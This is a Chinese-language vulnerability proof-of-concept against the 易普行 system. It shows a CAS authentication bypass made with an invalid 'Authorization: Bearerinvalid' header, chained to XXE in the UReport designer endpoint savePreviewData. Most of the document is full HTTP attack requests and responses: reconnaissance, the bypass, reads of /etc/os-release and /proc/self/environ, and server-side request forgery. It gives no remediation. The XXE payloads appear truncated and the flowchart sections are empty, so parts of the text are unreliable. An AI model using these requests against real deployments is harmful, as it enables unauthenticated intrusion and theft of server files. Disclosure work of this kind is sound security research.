一 概述
易普行系统CAS认证链中存在信任边界不一致缺陷。第一层Filter在Token校验失败后对非通用API仍继续放行,第二层Filter仅检查Authorization头是否非空而不校验其有效性。攻击者通过伪造Authorization: Bearerinvalid头即可绕过CAS认证,到达受保护的UReport报表设计器接口/designer/savePreviewData,该接口使用dom4j SAXReader解析XML且未禁用外部实体,导致XXE任意文件读取。
漏洞接口:/epxing-frame/designer/savePreviewData、/epxing-frame/designer/loadReport
影响组件:CAS/SSO认证Filter链 + UReport报表设计器(dom4j SAXReader)
攻击条件:目标运行易普行系统且designer接口在线;无需任何有效凭据
名词解释
CAS(Central Authentication Service):中央认证服务,一种企业级单点登录(SSO)协议。用户在一个中心认证服务器完成登录后获得Service Ticket,各应用系统通过验证Ticket实现免重复登录。
SSO(Single Sign-On) 单点登录机制:用户在身份提供方完成一次认证后,可访问所有互信的服务提供方,无需重复登录。
Filter Chain(过滤器链):Java Servlet规范中的请求拦截机制。多个Filter按顺序组成链式结构,每个Filter可在请求到达Servlet前或响应返回后执行逻辑。
信任边界(Trust Boundary):安全架构中不同组件之间对数据可信度假设的分界线。当两个组件对同一数据的信任假设不一致时,即产生信任边界缺陷。
XXE(XML External Entity Injection):XML外部实体注入漏洞。XML规范允许通过DTD定义外部实体,当XML解析器处理包含恶意外部实体定义的XML时,会读取本地文件、发起网络请求或执行其他危险操作。
DTD(Document Type Definition):文档类型定义,XML规范中用于定义XML文档结构和实体声明的语言。XXE攻击通过在DTD中声明<!ENTITY name SYSTEM "file:///path">定义外部实体。
dom4j SAXReader:dom4j是Java生态中常用的XML解析库。SAXReader是其提供的基于SAX的XML读取器。默认配置下未禁用外部实体解析。
UReport:一款Java开源报表引擎,支持可视化设计报表模板。易普行系统集成了UReport,其设计器接口/designer/savePreviewData接收XML格式的报表预览数据。
OOB(Out-of-Band):带外数据外泄技术。当漏洞无法通过HTTP响应直接获取数据时,利用服务器发起的带外请求将数据发送到攻击者控制的外部接收器。
Authorization Bearer Token:HTTP认证方案,Bearer Token是OAuth 2.0/RFC 6750中定义的令牌类型。正常流程中服务端验证Token有效性,本漏洞中仅检查头是否非空。
二 复现
1 侦查阶段:确认接口暴露
请求:
GET /epxing-frame/designer/loadReport HTTP/1.1
Host: x.x.x.x
响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
{“msg”:“Report [preview] not support.”,“code”:500}
分析:接口存在且返回业务错误(非404),说明/designer/*路由在线。
2 CAS认证绕过验证
攻击请求:
POST /epxing-frame/designer/loadReport HTTP/1.1
Host: x.x.x.x
Authorization: Bearerinvalid
Content-Type: application/x-www-form-urlencoded
Connection: close
file=preview
响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
{“msg”:“Report [preview] not support.”,“code”:500}
分析:响应状态码200且返回Spring Boot JSON错误(非302重定向至CAS登录页),证明请求已穿越两层Filter到达后端Controller层,CAS认证已被绕过。
3 XXE注入 — 读取存在的文件
攻击请求:
POST /epxing-frame/designer/savePreviewData HTTP/1.1
Host: x.x.x.x
Authorization: Bearerinvalid
Content-Type: application/x-www-form-urlencoded
Connection: close
file=preview&content=<?xml version="1.0" encoding="UTF-8"?>]>&xxe;
响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
{“msg”:“success”,“code”:200}
分析:响应{“msg”:“success”,“code”:200}表明SAXReader成功解析了XML并读取了/etc/os-release文件。
4 XXE注入 — 读取不存在的文件(对比验证)
攻击请求:
POST /epxing-frame/designer/savePreviewData HTTP/1.1
Host: x.x.x.x
Authorization: Bearerinvalid
Content-Type: application/x-www-form-urlencoded
Connection: close
file=preview&content=<?xml version="1.0" encoding="UTF-8"?>]>&xxe;
响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
{“msg”:“org.dom4j.DocumentException: /etc/nonexistent_file (No such file or directory)”,“code”:500}
分析:错误消息直接证明SAXReader尝试在服务器上打开/etc/nonexistent_file文件。对比存在文件返回success和存在文件返回错误,差异行为构成完整的XXE触发证据链。
5 XXE注入 — 读取二进制文件(内容确认)
攻击请求:
POST /epxing-frame/designer/savePreviewData HTTP/1.1
Host: x.x.x.x
Authorization: Bearerinvalid
Content-Type: application/x-www-form-urlencoded
Connection: close
file=preview&content=<?xml version="1.0" encoding="UTF-8"?>]>&xxe;
响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
{“msg”:“org.dom4j.DocumentException: … An invalid XML character (Unicode: 0x0) was found …”,“code”:500}
分析:/proc/self/environ包含大量null字节(键值对以\0分隔)。错误消息An invalid XML character (Unicode: 0x0)表明文件内容已被读入XML解析流程,因包含null字节导致解析失败。证明文件内容确实被读取。
6 HTTP OOB — 服务器发起外部HTTP请求
攻击请求:
POST /epxing-frame/designer/savePreviewData HTTP/1.1
Host: x.x.x.x
Authorization: Bearerinvalid
Content-Type: application/x-www-form-urlencoded
Connection: close
file=preview&content=<?xml version="1.0" encoding="UTF-8"?>]>&xxe;
响应:
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
{“msg”:“org.dom4j.DocumentException: Error on line 6 of document http://x.x.x.x/epxing-frame/designer/loadReport … The element type “hr” must be terminated by the matching end-tag “” …”,“code”:500}
分析:错误消息中出现The element type “hr”(HTML标签
),证明服务器按外部实体声明发起了HTTP请求并获取了响应内容(一个HTML页面),因HTML非合法XML而报错。同时确认XXE可触发SSRF(服务器端请求伪造)。
三 流程图
正常业务流程
攻击流程图